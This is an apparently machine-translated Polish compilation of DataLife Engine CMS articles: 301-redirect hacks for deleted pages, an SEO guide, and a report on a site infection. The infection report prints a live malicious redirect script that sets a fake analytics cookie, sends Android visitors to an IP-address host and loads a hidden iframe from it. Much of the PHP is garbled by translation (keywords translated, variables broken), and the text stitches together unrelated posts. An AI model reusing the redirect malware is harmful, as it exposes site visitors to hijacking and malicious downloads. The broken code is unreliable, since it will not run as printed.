Mam stronę na DataLife Engine i postanowiłem zmienić jej profil. Nie drastycznie, tylko trochę zawęź temat. W tym celu musiałem usunąć z serwisu ponad połowę treści niezwiązanych z tym tematem. Zacząłem trochę porządkować strony, zastępując ich zawartość nową zawartością. Ale mimo wszystko musiałem zmienić strukturę adresu URL i z tego powodu pojawił się panel webmasterów, frekwencja spadła, a pozycja w wyszukiwaniu na wąski temat. Ponadto zauważyłem, że istnieją linki do zdalnych stron z forów i usług, takich jak otvet.mail.ru. Podczas nawigowania z tych stron został zwrócony błąd 404. fakt techniczny następują inne negatywne czynniki - utrata wagi linków, spadek wskaźników behawioralnych i, jak sądzę, szereg negatywnych konsekwencji.
Postanowiłem to naprawić brutalną metodą - aby wszystkie usunięte strony dawały nie błąd 404, ale przekierowanie 301 na stronę główną. W CMS DLE, aby zaimplementować ten hack, musisz znaleźć kod w pliku /engine/modules/show.full.php:
elseif (! $ news_found) (@ header ("HTTP / 1.0 404 Nie znaleziono msgbox ($ lang [" all_err_1 "], $ lang [" news_err_12 "]);) |
elseif (! $ news_found) (@header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)
i zastąp go
// Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje elseif (! $ News_found) (header ("HTTP / 1.0 301 Moved Permanently"); header ("Lokalizacja: ($ config [" http_home_url "]) )"); die ("Przekierowanie"));) // Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje
Teraz, gdy robot wyszukiwania skontaktuje się z nim, otrzyma wiadomość z informacją, że informacje z tej strony zostały przeniesione na zawsze na stronę główną, a cała waga linków, które trafiają do stron zdalnych, zostanie przeniesiona na stronę główną.
Odwiedzający ze zdalnych stron zostaną po prostu przekierowani na stronę główną i mam nadzieję, że odgadną, aby użyć wyszukiwania.
Teraz opiszę w przybliżeniu tę samą logikę ponownego adresowania, ale nie dla wiadomości, ale dla kategorii. Otwórz plik /engine/engine.php i poszukaj kodu:
if (! $ category_id) $ category_id = "nie wykryto"; |
if (! $ category_id) $ category_id = "nie wykryto";
którym zastępujemy
if ($ config ["allow_alt_url"] == "yes" AND! $ category_id AND $ view_template! = "rss") (header ( „HTTP / 1.0 301 przeniesiony na stałe”); nagłówek ( "Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); ) // rozwiązanie problemu z kategoriami, które nie istnieją |
// rozwiązanie problemu z kategoriami, które nie istnieją if ($config ["allow_alt_url"] == "yes" AND! $ category_id AND $view_template! = "rss") (header ("HTTP / 1.0 301 Moved Permanently") ; header ("Lokalizacja: ($ config [" http_home_url "])"); die ("Przekierowanie");) // rozwiązanie problemu z nieistniejącymi kategoriami
Wszystko. Teraz to samo będzie działać również w przypadku usuniętych kategorii DLE.
W sieci opisano już wiele sytuacji, w których cyberprzestępcy zainfekowali witrynę na DLE (Data Life Engine) wirusem i przekierowali ją do innej domeny. W tym artykule skupimy się na jednym z tych ataków na witrynę, jednak jest mało prawdopodobne, że znajdziesz opisy tego typu infekcji - rodzaju unikalnego wirusa, który został zauważony po raz pierwszy.
Jak wirus dostał się na stronę
Nie udało się uzyskać dokładnych danych o źródle infekcji. Według znalezionych plików, które zostały przesłane do folderu UPLOADS, również nie znaleziono niczego konkretnego.
Prawdopodobnie zostało skradzione hasło od administratora hostingu lub strony. Konta FTP nie były używane na stronie.
Nietypowe przekierowanie
Po raz pierwszy Yandex zgłosił obecność wirusa na pasku narzędzi dla webmasterów w niedzielę 16 listopada. Wszystko wyglądało tak:
Wyszukaj wirusa na stronie
Do odnalezienia wirusa użyto specjalnego skryptu Ai-bolit... Ponieważ rozmiar witryny przekroczył 1 gigabajt, nie było możliwe skanowanie plików w poszukiwaniu wirusów bezpośrednio na serwerze (nie było wystarczającego czasu wykonania).
Pobierając na dysk lokalny archiwum witryny, uruchomiono kontrolę, której wyniki były dość zaskakujące - w plikach nie znaleziono nic podejrzanego, ale strona nadal przekierowywała albo do domeny nieprzyzwoitych treści, albo do pobrania podejrzanego oprogramowania.
Wchodząc na stronę z telefon komórkowy z systemem Android, użytkownicy byli automatycznie przekierowywani na następującą stronę:
Albo to:
Skanując każdy plik z osobna, nie udało się również zidentyfikować zagrożenia.
Jak znaleźć przekierowanie z taką infekcją DLE
Zupełnie przez przypadek, w szablonie main.tpl, na samym dole znalazł się plik. Bezpośrednio w kodzie widżetu konsultanta online był następujący kod:
Przedostatnia linia wydawała się podejrzana, a mianowicie nieszkodliwa biblioteka JQuery.ui.js została załadowana z niezrozumiałego adresu zapisanego jako IP.
Idąc pod ten adres otrzymujemy:
If (! GetCookie ("google__analytics __")) (var gate = "http://5.61.34.53/jquery/jquery.php"; var dzisiaj = new Date (), jutro = new Date (); jutro.setDate ( dzisiaj .getDate () + 1); setCookie ("google__analytics__", 1, jutro.toGMTString ()); var ua = navigator.userAgent.toLowerCase (); if (ua.indexOf ("android")> -1) okno location = gate; else (var el = document.createElement ("iframe"); document.body.appendChild (el); el.id = "iframe"; el.style.width = 0; el.style.height = 0 ; el.src = "http://5.61.34.53/2c24";)) funkcja setCookie (nazwa, wartość, wygasa, ścieżka, domena, bezpieczne) (document.cookie = nazwa + "=" + escape (wartość) + ((wygasa)? "; wygasa =" + wygasa: "") + ((ścieżka)? "; ścieżka =" + ścieżka: "") + ((domena)? "; domena =" + domena: "" ) + ((secure)? "; secure": "");) function getCookie (name) (var cookie = "" + document.cookie; var search = "" + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length> 0) (offset = cookie.indexOf (szukaj ); if (offset! = -1) (offset + = search.length; end = cookie.indexOf (";", offset) if (end == -1) (end = cookie.length;) setStr = unescape (cookie. substring (offset, end));)) return (setStr); )
To właśnie ta linia ze skryptem spowodowała przekierowanie. Usuwając go, zmieniając hasła w serwisie i hostingu, problem zniknął.
Czym ten wirus przekierowujący różni się od innych rodzajów infekcji?
Wyszukiwanie plików witryny za pomocą Notatnika w poszukiwaniu wystąpień eval, base64 i innych jest bezużyteczne. Sprawdzanie witryny za pomocą programów antywirusowych (wszystkich znanych) jest bezużyteczne. Sprawdzenie za pomocą Ai-bolit również się nie powiedzie.
Tylko w trybie ręcznym z niezależnym przeglądaniem możesz zobaczyć wynik, ponieważ wirus nie jest pobierany z samej witryny, ale z zewnętrznego źródła. Aby uniknąć takiego włamania na stronę, nigdy nie przechowuj loginów i haseł w przeglądarkach, komplikuj ich i nie używaj nazwy administratora ADMIN. Zadbaj o swoje witryny w DLE!
Stan tematu: zamknięty.
Cześć przyjaciele. W końcu nadszedł czas na trzecią część mojego przewodnika po mega optymalizacji DLE.
Dopiero teraz z przerażeniem zdałem sobie sprawę, że poprzednia druga część instrukcji wyszła ponad pół roku temu!
Zgodnie z ustaloną tradycją będziemy rozmawiać, a konkretnie w tej części Opowiem o niektórych cechach silnika i małych, ale bardzo przydatne funkcje i khaki które nie pasowały do formatu z poprzednich części.
Ta część dotyczy również adresów stron, ale w przeciwieństwie do drugiej części, w której walczyliśmy z duplikatami i wykluczyliśmy ich pojawianie się, w tej części przyjrzymy się, jak pozbyć się nieistniejących stron, które pojawiły się w wyniku usunięcia lub błąd w adresie.
Post zaktualizowany 6 maja 2014 r.:
Zaktualizowano zmiany wprowadzone w silniku, dodano obsługę nowych wersji silnika.
Dotyczy następujących wersji DLE: 7.x, 8.x, 9.x, 10.x!
Inne części poradnika SEO:
Część 1, Optymalizacja tytułów tytułów —
Część 2, Radzenie sobie z powielonymi treściami -
Część 4, Poprawka dla wersji DLE 9.3, 9.4, 9.5, 9.6 -
Przekierowanie z nieistniejących stron na strony poprawne i istniejące
Sztuczka została wymyślona dosłownie dzisiaj, kiedy znalazłem wiele błędów 404 na jednej ze stron w panelu webmastera.
Weźmy bardzo realną sytuację - z jakiegoś powodu zdecydowałeś się zmienić ilość newsów wyświetlanych na stronie głównej lub stronach kategorii. Co mi się przydarzyło: redesign strony internetowej; całkowicie zmieniła się struktura stron; postanowiono wyświetlać więcej krótkich ogłoszeń informacyjnych na każdej stronie (od 7 do 10). Wynik był następujący - wiele stron z błędami 404 pojawiło się w panelu webmastera... Prosta arytmetyka, na stronie było 1000 newsów, na każdej stronie wyświetlało się 7 ogłoszeń, więc tylko na stronie głównej otrzymujemy 1000/7 = 142 stron paginacji. Po zmianie stron było dokładnie 100. W rezultacie 42 strony po prostu zniknęły. A jeśli weźmiemy więcej kategorii, to jest już sto lub dwie nieistniejące strony. To jest złe, brzydkie i generalnie nie bzdury.
Otwórz plik /engine/modules/show.short.php i na samym dole odnaleźć:
} ?> |
POWYŻEJ Dodaj:
$ all_pages_count = @ ceil ($ count_all / $ config ["news_number"]); if ($ cstart> $ all_pages_count) (if ($ all_pages_count> 1) (nagłówek (); nagłówek ("Lokalizacja:". $ url_page. "/ strona /". $ all_pages_count. "/"); die ();) inny (nagłówek ( „HTTP / 1.1 301 przeniesiony na stałe”); nagłówek ("Lokalizacja:". $ url_page. "/"); umierać (); )) // przekieruj do ostatniej strony, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca |
// przekieruj do ostatniej strony, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca $ all_pages_count = @ceil ($ count_all / $ config ["news_number"]); if ($ cstart> $ all_pages_count) (if ($ all_pages_count> 1) (nagłówek ("HTTP / 1.1 301 przeniesiony na stałe"); nagłówek ("Lokalizacja:". $ url_page. "/ strona /". $ all_pages_count. "/ "); die ();) else (header (" HTTP / 1.1 301 przeniesiony na stałe "); header (" Location: ". $ url_page." / "); die ();)) // przekierowanie do ostatniej strony , jeśli adres URL zawiera stronę większą niż maksymalna istniejąca strona
Pozwól, że wyjaśnię trochę kod: następuje sprawdzenie warunku - jeśli numer bieżącej strony jest większy niż maksymalna ilość strony w witrynie (lub w kategorii), następuje przekierowanie do ostatniej strony. Jeśli wymagana jest strona numer 2, a jest tylko jedna strona, następuje przekierowanie do strony wklęsłej (lub strona główna kategorie).
Przykład na palcach, ktoś żąda strony site.ru/page/435/, ale ta strona ma tylko 268 stron, dlatego nastąpi przekierowanie na adres site.ru/page/268/.
Przekieruj z nieistniejących stron na strony z komentarzami do poprawnych
Trafność: Tylko wersje DLE 8.x, 9.x. Nie dotyczy DLE 10.x, ponieważ już zaimplementowany w samym silniku.
Podobna sytuacja z paginacją w komentarzach. Może zaistnieć sytuacja, że np. zostałeś spamowany w komentarzach, wyszukiwarki zaindeksowały wszystkie strony z komentarzami, a potem zauważyłeś to i usunąłeś wszystkie komentarze. Ale strony indeksowane przez wyszukiwarkę nadal pozostaną, po prostu nie będą wyświetlać żadnych komentarzy, ale będzie kompletny duplikat strony głównej wiadomości. I to jest smutne, musimy to naprawić!
Otwórz plik /engine/classes/comments.class.php i na samym dole odnaleźć:
} } ?> |
POWYŻEJ Dodaj:
// przekieruj do ostatniej strony komentarzy, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca if ($ this-> cstart> $ enpages_count) (header ("HTTP / 1.1 301 Moved Permanently"); header ("Lokalizacja :". $ url ); die ();) // przekieruj do ostatniej strony komentarzy, jeśli adres URL zawiera stronę większą niż maksymalna istniejąca
Cóż, teraz wszystko jest w porządku, możesz sprawdzić.
Przekieruj z linków z dodatkowymi znakami lub błędnymi zakończeniami na poprawne adresy
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Wcześniej była bardzo złożona decyzja, która zależała od wersji silnika. Ale od momentu napisania tego posta rozwinąłem swoje umiejętności na tyle, aby skomponować uniwersalne rozwiązanie dla wszystkich wersji DLE i generalnie absolutnie dla każdego silnika czy dowolnej strony!
Otwórz .htaccess, który znajduje się w katalogu głównym i odnaleźć:
RewriteBase / RewriteCond% (REQUEST_FILENAME)! -F RewriteCond% (REQUEST_FILENAME)! -D RewriteCond% (REQUEST_URI) ^ (. *) \. Html (. +) RewriteCond% (REQUEST_URI) ^ (. *) \. Htm $ (REQUEST_URI) ^ (. *) \. Ht $ RewriteCond% (REQUEST_URI) ^ (. *) \. H $ RewriteCond% (REQUEST_URI) ^ (. *) \. $ RewriteRule ^ (. *) \. (. * ) $1.html
Niezależnie od wybranego typu CNC, podążając za dowolnym łączem „krzywej”, odwiedzający dotrze tam, gdzie powinien.
Przekierowanie z sekcji lub kategorii, które już nie istnieją, na stronę główną
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Przykład z życia: zdecydowałeś się zmienić strukturę strony lub po prostu usunąłeś niektóre kategorie jako niepotrzebne dlatego te strony przestaną istnieć, a linki do nich mogą gdzieś pozostać. Na przykład na emofanach miałem kiedyś blogi dla użytkowników dostępne pod adresem site.ru/blog/, które zostały podzielone na użytkowników, takich jak site.ru/blog/user1/, site.ru/blog / user2 / itp. Od wielu lat rozbieram te blogi jako niepotrzebne, a linki do nich i błędy w panelu webmastera żyją.
Ta zmiana pozwoli również uniknąć wyświetlania pełnych adresów stron z wiadomościami bez rozszerzenia na końcu, a nawet pełnych adresów stron z wiadomościami, gdy na końcu nie ma całego adresu URL. Tym samym w połączeniu z poprzednim punktem zmiany te pomogą uniknąć pojawiania się błędnych i niechcianych adresów o 99%.
Otwórz plik /engine/engine.php i odnaleźć:
if (! $ category_id) $ category_id = "nie wykryto"; |
if (! $ category_id) $ category_id = "nie wykryto";
ZASTĄPIĆ na:
// rozwiązanie problemu z kategoriami, które nie istnieją if (! $ category_id AND $ view_template! = "rss") (header ("HTTP / 1.0 301 przeniesiony na stałe"); header ("Lokalizacja: ($config [" http_home_url " ] ) "); die (" Przekierowanie ");) // rozwiązanie problemu z kategoriami, które nie istnieją
Przekierowanie postów, które nie mają identyfikatora na stronę główną
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Kolejna prawdziwa historia zaczerpnięta z moich stron. Panel webmastera zawiera wiele stron z błędem 404 tego rodzaju site.ru/category/subcat/page-name.html i zgodnie z zasadami site.ru/category/subcat/123-page_name.html powinno wyglądać tak . Szczerze mówiąc, nadal nie rozumiem, jak i dlaczego zniknął identyfikator wiadomości i kto w ten sposób odniósł się do publikacji. Nigdy nie używałem żadnych modułów i hacków, które usuwają jego identyfikator z adresu URL, więc grzeszę na użytkownikach, którzy "krzywo" umieszczają w swoich żarówkach linki do mojej strony. No dobrze, to już nie jest ważne, ale ważne jest, aby poradzić sobie z tym problemem!
Tylko dla wersji DLE 10.x (a także dla 9.5, 9.6, 9.7 i 9.8)
Nowa wersja kodu, oprócz tego, że przekierowuje „problemowe” adresy stron z pełnymi wiadomościami, ale także przekierowuje na stronę główną, która nie istnieje lub została usunięta strony statyczne... Wynika to ze zmienionej logiki w silniku. Z jednej strony to chyba dobrze, bo za jednym zamachem rozwiązujemy dwa problemy. Z drugiej strony początkowo silnik generuje zwykły błąd 404 - jeśli jesteś zadowolony z tego stanu rzeczy, to nie wprowadzaj zmian opisanych w tym akapicie.
Otwórz plik /engine/modules/static.php i znajdujemy się na samym końcu:
@ nagłówek ("Nie znaleziono HTTP / 1.0 404"); $ lang ["static_page_err"] = str_replace ("(strona)", $ nazwa. ".html", $ lang ["static_page_err"]); msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]); |
@header ("Nie znaleziono HTTP / 1.0 404"); $ lang ["static_page_err"] = str_replace ("(strona)", $ nazwa. ".html", $ lang ["static_page_err"]); msgbox ($ lang ["all_err_1"], $ lang ["static_page_err"]);
ZASTĄPIĆ na:
// przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator, a także nieistniejącego nagłówka stron statycznych ("HTTP / 1.0 301 Moved Permanently"); nagłówek ("Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); // przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator, a także nieistniejących stron statycznych
Stare rozwiązanie. Tylko dla wersji DLE 7.x, 8.x, 9.0, 9.2 i 9.3
Wszystkie adresy URL zawierające na końcu .html i niezawierające identyfikatorów zostaną przekierowane na stronę główną. Istniejące i poprawne strony statyczne, mimo że również nie mają identyfikatora w adresie URL, nie zostaną przekierowane, ale będą działać jak poprzednio.
Otwórz cały plik /engine/engine.php i odnaleźć:
if ($ podakcja == "") $ podakcja = "pokazowe"; ) |
if ($ podakcja == "") $ podakcja = "pokazowe"; )
PONIŻEJ Dodaj:
if (($ config ["allow_alt_url"] == "tak") && (strpos ($ _SERVER ["REQUEST_URI"], ".html")! == false) && ($ dle_module == "main")) ( nagłówek ( „HTTP / 1.0 301 przeniesiony na stałe”); nagłówek ( "Lokalizacja: ($config [" http_home_url "])"); umrzeć („Przekierowanie”); ) // przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator the |
// przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął id if (($ config ["allow_alt_url"] == "yes") && (strpos ($ _ SERVER ["REQUEST_URI"], ".html ")! == false) && ($ dle_module == "main")) (nagłówek ("HTTP / 1.0 301 przeniesiony na stałe"); nagłówek ("Lokalizacja: ($config [" http_home_url "])"); die ( "Przekierowanie"); ) // Przekierowanie 301 do strony głównej z adresów stron z wiadomościami, na których zniknął identyfikator
Przekieruj usunięte lub nieistniejące wiadomości do domu
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Cóż, to standardowa sytuacja i można ją znaleźć na każdej stronie. Usunąłeś niektóre wiadomości i oczywiście zostanie wygenerowany błąd 404. Jeśli to Ci nie odpowiada, a mianowicie, że wystawiony jest błąd 404, możesz na przykład zrobić przekierowanie 301 na stronę główną witryny, która z pewnością istnieje ;)
Otwórz plik /engine/modules/show.full.php i odnaleźć:
elseif (! $ news_found) (@ header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);) |
elseif (! $ news_found) (@header ("Nie znaleziono HTTP / 1.0 404"); msgbox ($ lang ["all_err_1"], $ lang ["news_err_12"]);)
ZASTĄPIĆ na:
// Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje elseif (! $ News_found) (header ("HTTP / 1.0 301 Moved Permanently"); header ("Lokalizacja: ($ config [" http_home_url "]) )"); die ("Przekierowanie"));) // Przekierowanie 301 do strony głównej, jeśli nie znaleziono wiadomości / nie istnieje
Teraz przy przejściu do nieistniejącej lub usuniętej publikacji nastąpi przekierowanie na stronę główną serwisu.
Ogólnie chłopaki, mam osobny bardzo duży post na temat.
Polecam zapoznać się z nim, niezależnie od tego, czy pracujesz tylko z DLE czy jakimś innym CMS-em.
Zabraniamy indeksowania sekcji witryny za pomocą metatagu robots
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Więc pamiętaj, niedawno opublikowałem post o tym, w którym to powiedziałem zamykanie stron przed indeksowaniem za pomocą robots.txt to nie pocieranie, ale zamykanie za pomocą poprawna opcja... Gorąco polecam przeczytanie tego posta.
Jeśli nie czujesz się pewnie, gorąco polecam go używać! Dzięki modułowi nie możesz się nigdzie pomylić i nie musisz wprowadzać tych zmian po każdej aktualizacji silnika.
Otwórz już ukochany plik /engine/engine.php, znajdź bezużyteczną linię i usuń:
if ($config ["allow_rss"]) $ metatagi. =<<
HTML;POWYŻEJ Dodaj:
if ($ podakcja == "informacje o użytkowniku" LUB $ podakcja == "wszystkie wiadomości" LUB $ podakcja == "nowe posty" LUB $ do == "statystyki" LUB $ do == "dodajwiadomości" LUB $ do == "zarejestruj się" LUB $ do == "ulubione" LUB $ do == "reguły" LUB $ do == "pm" LUB $ do == "opinie" LUB $ do == "ostatnie komentarze" LUB $ do == "zagubione hasło" LUB $ do == "szukaj" LUB $ do == "ostatnie wiadomości" LUB $ do == "alltags" LUB $ do == "tagi" LUB $ dle_module == "data") $ metatagi. <<HTML; |
if ($ podakcja == "informacje o użytkowniku" LUB $ podakcja == "wszystkie wiadomości" LUB $ podakcja == "nowe posty" LUB $ do == "statystyki" LUB $ do == "dodajwiadomości" LUB $ do == "zarejestruj się" LUB $ do == "ulubione" LUB $ do == "reguły" LUB $ do == "pm" LUB $ do == "opinie" LUB $ do == "ostatnie komentarze" LUB $ do == "zagubione hasło" LUB $ do == "szukaj" LUB $ do == "ostatnie wiadomości" LUB $ do == "alltags" LUB $ do == "tagi" LUB $ dle_module == "data") $ metatagi.<<
HTML;Jeśli chcesz zamknąć stronę paginacji z indeksowania, na przykład site.ru/page/X/ lub site.ru/category/page/X/, musisz dodać jeden wiersz:
(intval ($ _GET ["cstart"])> 1) |
(intval ($ _ GET ["cstart"])> 1)
W rezultacie powyższy kod jest przekształcany w następujący sposób:
if ($ podakcja == "userinfo" LUB $ podakcja == "allnews" LUB ... $ dle_module == "data" LUB (intval ($ _GET ["cstart"])> 1)) $ metatagi. <<HTML; |
if ($ podakcja == "userinfo" LUB $ podakcja == "allnews" LUB ... $ dle_module == "data" LUB (intval ($ _ GET ["cstart"])> 1)) $ metatagi. =<<
HTML;Teraz wyjaśnię, co oznacza każda z klauzul warunku if, i przygotowałem dla Ciebie wspaniałą tabelę opisową.
Moduł | Opis | Przykładowy adres URL |
---|---|---|
Informacje użytkownika | Zobacz profil użytkownika. | site.ru/użytkownik/nazwa_użytkownika/ |
Wszystkie nowości | Przeglądanie wiadomości konkretnego użytkownika. | site.ru/użytkownik/nazwa_użytkownika/wiadomości/ |
nowe ogłoszenia | Przeglądanie nowości, indywidualnie dla każdego użytkownika, jest dostępne tylko dla zarejestrowanych, gościom wyświetlany jest błąd. | site.ru/nowe posty/ |
statystyki | Strona statystyk witryny i TOP10 użytkowników. | site.ru/statistics.html |
dodajwiadomości | Strona do dodawania wiadomości do serwisu. | site.ru/addnews.html |
zarejestrować | Nowa strona formularza rejestracji użytkownika. | site.ru/index.php?do=register |
ulubione | Przeglądanie ulubionych, indywidualnie dla każdego użytkownika, jest dostępne tylko dla zarejestrowanych użytkowników, dla gości wyświetlany jest błąd. | site.ru/ulubione/ |
zasady | Strona z regułami witryny, które są wyświetlane przed rejestracją, które również istnieją na osobnej stronie. | site.ru/rules.html |
po południu | Przeglądanie prywatnych wiadomości przez użytkownika lub forma wysłania prywatnej wiadomości do dowolnego użytkownika serwisu. | site.ru/index.php?do=pm |
sprzężenie zwrotne | Strona opinii. | site.ru/feedback.html |
ostatnie komentarze | Wyświetl wszystkie komentarze do publikacji na stronie w odwrotnej kolejności chronologicznej. | site.ru/index.php?do=lastcomments |
zagubione hasło | Strona odzyskiwania hasła. | site.ru/index.php?do=lostpassword |
Szukaj | Sekcja wyszukiwania w witrynie. | site.ru/index.php?do=search |
ostatnie wiadomości | Zobacz wszystkie najnowsze wiadomości na stronie. Dokładna kopia strony głównej serwisu i wszystkich stron paginacji. | site.ru/ostatnie wiadomości/ |
wszystkie tagi | Wyświetl wszystkie strony z tagami witryny. | site.ru/tags/ |
tagi | Wyświetl posty z określonym tagiem. | site.ru/tags/Tag+Nazwa/ |
data | Archiwum witryny. Lista publikacji na dany rok, miesiąc lub dzień. | site.ru/2007/ lub site.ru/2007/06/ lub site.ru/2007/06/22/ |
* Najważniejszy punkt- przy zamykaniu stron przed indeksowaniem za pomocą opisanej metody konieczne jest usunięcie zakazów w robots.txt dla stron i sekcji, które zamknęliśmy za pomocą metatagu. W przeciwnym razie nie będzie sensu.
Według własnego uznania możesz usunąć niektóre części podanego przeze mnie kodu, sekcje, które nie muszą być zamykane przed indeksowaniem specjalnie dla Twojej witryny. Po to aby, proszę bądź ostrożny.
Dodaj tag rel = "canonical" dla pełnych stron z wiadomościami
Trafność: Wszystkie wersje DLE. Testowane na 7.x, 8.x, 9.x, 10.x.
Pamiętam, że ktoś w komentarzach do jednej z poprzednich części prosił mnie, abym ci powiedział, jak wyświetlić tag rel = "canonical" w publikacjach na stronie, więc kto nie widział mojego komentarza opisującego tę metodę, czytaj dalej.
Otwórz plik /engine/modules/show.full.php i ...
dla wersji DLE 7.x, 8.x, 9.0, 9.2 i 9.3 znajdujemy:
) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" ";) |
) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" ";)
dla wersji DLE 10.x (a także dla wersji 9.5, 9.6, 9.7 i 9.8) znajdujemy:
) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" "; $ link_page =" "; $ news_name =" ";) |
) else ($ full_link = $ config ["http_home_url"]. "index.php? newsid =". $ row ["id"]; $ print_link = $ config ["http_home_url"]. "engine/print.php? newsid = ". $ wiersz [" id "]; $ short_link =" "; $ link_page =" "; $ news_name =" ";)
PONIŻEJ Dodaj)
if ($ full_canonical) ($ metatagi. =<<
HTML;)Jakby to było wszystko ;) Kto tego potrzebuje, użyj go dla zdrowia.
Coś, o czym chyba zapomniałam w tym poście opisać, skoro opisywane tu informacje długo zbierałam w mojej głowie, a nie zapisywałam w zeszycie. Ale jeśli coś pamiętasz lub znajdziesz nietypowe błędy na swojej stronie - koniecznie napisz w komentarzach, wymyślę rozwiązanie Twojego problemu i dodam je do posta.
Dziękujemy za uwagę, przyjaciele, pozostań w kontakcie i zasubskrybuj aktualności na blogu.
PS Nie jestem pewien, czy będzie następna część poradnika, bo w tej chwili nie ma w niej nic do pisania, wszystko, co mogłoby się przydać, jest już opisane w istniejących trzech częściach. Ale nigdy nie wiadomo... Wszystko zależy od Ciebie oraz Twoich pytań i sugestii!